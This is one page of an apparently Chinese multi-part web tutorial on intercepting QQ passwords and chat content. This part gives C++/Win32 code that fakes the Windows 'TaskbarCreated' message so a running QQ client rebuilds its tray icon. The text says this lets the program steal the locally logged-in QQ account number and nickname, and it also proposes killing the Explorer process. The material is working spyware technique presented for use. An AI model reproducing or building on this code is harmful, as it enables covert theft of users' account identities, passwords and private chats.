WEB开发网
开发学院软件开发VC 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ... 阅读

如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴

 2009-02-21 19:59:56 来源:WEB开发网   
核心提示: 但是,如果我们的程序在执行前QQ已经启动了,如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴(7),QQ进程不会调用Shell_NotifyIcon()函数了,那我们也就无法获得其QQ号码和昵称了,这时QQ进程就重新调用Shell_NotifyIcon()来创建一个新的托盘图标了,

但是,如果我们的程序在执行前QQ已经启动了,QQ进程不会调用Shell_NotifyIcon()函数了,那我们也就无法获得其QQ号码和昵称了,怎么办?我们可以尝试将“Explorer”(资源管理器)进程kill掉,这时Windows会自动重新启动一个“Explorer”,这时QQ进程就重新调用Shell_NotifyIcon()来创建一个新的托盘图标了,那我们可以假冒系统给QQ进程发一条托盘重建的消息让QQ自己调用Shell_NotifyIcon()函数重建托盘图标,这时我们就可以窃取到本地登录的QQ账号和昵称了。

  //
  // 通知QQ重建托盘图标
  //
  void NotifyQQRecreateTray ()
  {
    if ( m_pQQMate )
    {
      m_pQQMate->m_csLocalQQAccount.Empty();
      m_pQQMate->m_csLocalQQNickname.Empty();
      memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) );
    }
  
    CUIntArray UIntAry_ThreadID;
    CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );
    for ( int i=0; i<UIntAry_ThreadID.GetSize(); i++ )
    {
      EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) );
    }
  }
  
  BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam )
  {
    TCHAR szClassName[255] = {0};
    ::GetClassName ( hwnd, szClassName, COUNT(szClassName) );
    if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 )
    {
      if ( !WM_TASKBARCREATED )
        WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") );
      SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL );
    //  HwDbgLog ( L_DEBUG, _T("删除托盘图标: hwnd - 0x%X, Class - %s"),
    //    hwnd, szClassName );
    }
    
    return TRUE;
  }

上一页  2 3 4 5 6 7 8 9 10  下一页

Tags:如何 截取 QQ

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接